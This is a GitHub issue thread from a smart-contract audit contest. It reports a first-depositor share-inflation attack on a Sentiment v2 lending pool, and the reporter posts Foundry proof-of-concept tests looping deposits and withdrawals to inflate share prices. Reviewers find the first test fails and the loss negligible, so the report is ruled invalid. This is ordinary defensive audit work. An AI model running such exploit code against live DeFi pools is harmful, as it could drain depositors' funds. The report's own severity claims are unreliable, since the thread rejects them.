Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

goluu - The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol #481

Closed
sherlock-admin3 opened this issue Aug 24, 2024 · 12 comments
Labels
Escalation Resolved This issue's escalations have been approved/rejected Non-Reward This issue will not receive a payout

Comments

@sherlock-admin3
Copy link

sherlock-admin3 commented Aug 24, 2024

goluu

High

The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol

Summary

Empty pools' assets have been drained by the first depositor via inflating share prices.

Vulnerability Detail

  • Empty Pool Condition: The vulnerability occurs when the pool's total supply is zero.

  • Initial Deposit: The attacker deposits 1000 wei worth of underlying assets.

  • Borrowing: The attacker borrows 1000 wei using the borrow function.

  • transfer amount Position manager mint shares via transfer amount

  • Partial Repayment: Within the same block, the attacker repays 1000 wei. Due to rounding in favor of the protocol, total assets become 1001 wei, while the total supply remains 1000.
    image

  • Withdraw: The attacker withdraws 999 wei, leaving the pool with a total supply of 1 and total assets of 2 wei.
    image

  • Inflation Attack: The attacker repeatedly deposits and withdraws (total assets - 1) in the pool more than 80 times in a loop, leading to an inflated share price.

 function testfirstdepositor() external {
    uint assets = 1000;
    vm.assume(assets > 0);
    vm.startPrank(user);

    asset1.mint(user, 1000e18);
    asset1.approve(address(pool), assets);

    pool.deposit(linearRatePool, 1000, user);
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    pool.borrow(linearRatePool, user, assets);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1 );
    asset1.mint(address(pool),1001);
    pool.repay(linearRatePool, user, assets + 1);


    vm.stopPrank();
    vm.startPrank(user);
    pool.withdraw(linearRatePool, 999 , user, user);


    asset1.mint(user, assets);
    asset1.approve(address(pool), 1000e18);

    uint256 n = 60;
    for(uint8 i = 0; i < n; i++){
        uint256 amount = i ** 2 + 1;
        pool.deposit(linearRatePool, amount , user);
    
        pool.withdraw(linearRatePool, 1 ,user,user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        require (totalDepositShares == 1, "should be one ");



    }
 
 
 

Impact

The first depositor loses their funds as the attacker manipulates the share price to drain the pool's assets.

Code Snippet

https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/Pool.sol#L275

Recommendation

Implement virtual shares or another mechanism to prevent rounding errors and price manipulation, especially when the pool is empty or has a very low total supply.

@github-actions github-actions bot added the Medium A Medium severity issue. label Sep 5, 2024
@sherlock-admin3 sherlock-admin3 added Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed labels Sep 10, 2024
@sherlock-admin4 sherlock-admin4 changed the title Rough Goldenrod Condor - The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol goluu - The Rounding Done in Protocol's Favor Can Be Weaponized to Drain the Protocol Sep 15, 2024
@sherlock-admin4 sherlock-admin4 added the Reward A payout will be made for this issue label Sep 15, 2024
@S3v3ru5
Copy link

S3v3ru5 commented Sep 16, 2024

Is it possible to get an estimate of value lost for the first depositor?

For every iteration, the totalAssets:totalShares ratio increases by 1.

after 1 iteration: 1 share = 2 wei
after 2nd iteration: 1 share = 3 wei
...
after 80 iterations: 1 share = 80 wei

So if the first depositor deposits less than 80 wei then shares minted are 0 and they lose the entire < 80 wei? If the value is greater than 80 wei then some shares will be minted, then value lost for rounding is also < 80 wei.

@0xdeth
Copy link

0xdeth commented Sep 17, 2024

Escalate

As per the above comment.

We want to add that this is extremely gas inefficient which makes the attack loose it's incentive. To make the losses suffered by the first depositor worthwhile this attack has to do a huge amount of iterations making it even more inefficient.

@S3v3ru5 has explained it well.

@sherlock-admin3
Copy link
Author

Escalate

As per the above comment.

We want to add that this is extremely gas inefficient which makes the attack loose it's incentive. To make the losses suffered by the first depositor worthwhile this attack has to do a huge amount of iterations making it even more inefficient.

@S3v3ru5 has explained it well.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

@sherlock-admin4 sherlock-admin4 added the Escalated This issue contains a pending escalation label Sep 17, 2024
@0xjuaan
Copy link

0xjuaan commented Sep 17, 2024

Also the attack path in this issue is wrong, PoC fails since it tries to mint 0 shares:

Failing tests:
Encountered 1 failing test in test/core/Pool.t.sol:PoolUnitTests
[FAIL: Pool_ZeroSharesDeposit(76185170914664034982717614324376362661771448584651785366001810948719059386837 [7.618e76], 1)] testfirstdepositor() (gas: 430308)

Encountered a total of 1 failing tests, 0 tests succeeded

A correct vault inflation exploiting the rounding direction with high impact is shown in #90

@g01u
Copy link

g01u commented Sep 20, 2024

  • The attack I created in the proof of concept (POC) is in a fully workable state; it's just that a typo occurred. I used uint256 amount = i ** 2 + 1; instead of uint256 amount = 2 ** i + 1;. I hope this clarifies that my issue is a valid.

  • Here is the difference checker link: https://www.diffchecker.com/srri9a9R/

function testfirstdepositor() external {
    uint assets = 1000;
    vm.assume(assets > 0);
    vm.startPrank(user);

    asset1.mint(user, 1000_000_000e18);
    asset1.approve(address(pool), type(uint256).max);

    pool.deposit(linearRatePool, 1000, user);
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    pool.borrow(linearRatePool, user, assets);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1 );
    asset1.mint(address(pool),1001);
    pool.repay(linearRatePool, user, assets + 1);


    vm.stopPrank();
    vm.startPrank(user);
    pool.withdraw(linearRatePool, 999 , user, user);


    asset1.mint(user, assets);
    asset1.approve(address(pool), 1000e18);

    uint256 n = 60;
    for(uint8 i = 0; i < n; i++){
        uint256 amount = 2 ** i + 1;
        pool.deposit(linearRatePool, amount , user);
    
        pool.withdraw(linearRatePool, 1 ,user,user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        require (totalDepositShares == 1, "should be one ");
        console.log("TotalAssets: ", totalDepositAssets);
        console.log("TotalShares: ", totalDepositShares);
    }
         
   }
  • I also added that the issue is the exponential inflation of the share value. Here are the logs:
    image
    image

  • And also want to correct my last point: The attacker repeatedly deposits (2 ** i + 1 ) and withdraw such that there is only 1 share (which is also mentioned in my old POC pool.withdraw(linearRatePool, 1 ,user,user);) in the pool more than 60 times in a loop, leading to an inflated share price.

@0xjuaan
Copy link

0xjuaan commented Sep 21, 2024

The original report is incorrect in 2 places:

  1. Inflation Attack: The attacker repeatedly deposits and withdraws (total assets - 1) in the pool more than 80 times in a loop, leading to an inflated share price.

Depositing totalAssets - 1 is incorrect, because it would lead to minting 0 shares, which reverts.

  1. The PoC is incorrect due to depositing the wrong amount (unrelated to 1.), so it reverts.

I don't think such a report can be considered valid

@g01u
Copy link

g01u commented Sep 21, 2024

  1. As mentioned above that is just a typo,
    I used uint256 amount = i ** 2 + 1; instead of uint256 amount = 2 ** i + 1;

detail explanation:

  • Withdraw: The attacker withdraws 999 wei, leaving the pool with a total supply of 1 and total assets of 2 wei.
    hence, i deposit amount using for loop,
    uint256 amount = 2 ** i + 1
    Loop0: 2**0 + 1 = 2
    Loop1: 2**1 + 1 = 3
    Loop3: 2**2 + 1 = 5
    Loop4: 2 ** 3 + 1 = 9
    above I also provide logs also

I also added that please check this you get an idea: https://www.diffchecker.com/srri9a9R/

@cvetanovv
Copy link
Collaborator

I agree with the escalation and @0xjuaan comments.

That amount of wei is negligible. It won't even cover the cost of the gas to execute the transaction. You can use a simple calculator to see what an insignificant amount is: https://eth-converter.com/

Also, the PoC you provided is wrong, and I cannot be convinced at all that this issue is valid.

Finally, I will add that the protocol is aware of the risk of such type of attack: https://github.com/sentimentxyz/protocol-v2/blob/master/audits/sentiment_v2_zobront.md#m-02-erc4626-is-vulnerable-to-donation-attacks

Planning to accept the escalation and invalidate the issue.

@ruvaag
Copy link

ruvaag commented Sep 28, 2024

Agree with the comment above, and other issues recommend burning initial pool shares which should mitigate this either way

@WangSecurity WangSecurity removed the Medium A Medium severity issue. label Sep 28, 2024
@sherlock-admin2 sherlock-admin2 added Non-Reward This issue will not receive a payout and removed Reward A payout will be made for this issue labels Sep 28, 2024
@WangSecurity
Copy link

WangSecurity commented Sep 28, 2024

Result:
Invalid
Unique

@sherlock-admin2
Copy link
Contributor

sherlock-admin2 commented Sep 28, 2024

Escalations have been resolved successfully!

Escalation status:

@sherlock-admin3 sherlock-admin3 removed the Escalated This issue contains a pending escalation label Sep 28, 2024
@sherlock-admin4 sherlock-admin4 added the Escalation Resolved This issue's escalations have been approved/rejected label Sep 28, 2024
@g01u
Copy link

g01u commented Oct 11, 2024

@cvetanovv,
it's just typo ser please read my comment carefully
Must check this: https://www.diffchecker.com/srri9a9R/
here is poc

function testfirstdepositor() external {
    uint assets = 1000;
    vm.assume(assets > 0);
    vm.startPrank(user);

    asset1.mint(user, 1000_000_000e18);
    asset1.approve(address(pool), type(uint256).max);

    pool.deposit(linearRatePool, 1000, user);
    assertEq(pool.getAssetsOf(linearRatePool, user), assets);
    assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
    vm.stopPrank();

    vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
    pool.borrow(linearRatePool, user, assets);
    vm.warp(block.timestamp + 10);
    vm.roll(block.number + 1 );
    asset1.mint(address(pool),1001);
    pool.repay(linearRatePool, user, assets + 1);


    vm.stopPrank();
    vm.startPrank(user);
    pool.withdraw(linearRatePool, 999 , user, user);


    asset1.mint(user, assets);
    asset1.approve(address(pool), 1000e18);

    uint256 n = 60;
    for(uint8 i = 0; i < n; i++){
        uint256 amount = 2 ** i + 1;
        pool.deposit(linearRatePool, amount , user);
    
        pool.withdraw(linearRatePool, 1 ,user,user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
        require (totalDepositShares == 1, "should be one ");
        console.log("TotalAssets: ", totalDepositAssets);
        console.log("TotalShares: ", totalDepositShares);
    }
         
   }

@sherlock-admin3 sherlock-admin3 removed Sponsor Confirmed The sponsor acknowledged this issue is valid Will Fix The sponsor confirmed this issue will be fixed labels Oct 20, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Escalation Resolved This issue's escalations have been approved/rejected Non-Reward This issue will not receive a payout
Projects
None yet
Development

No branches or pull requests

10 participants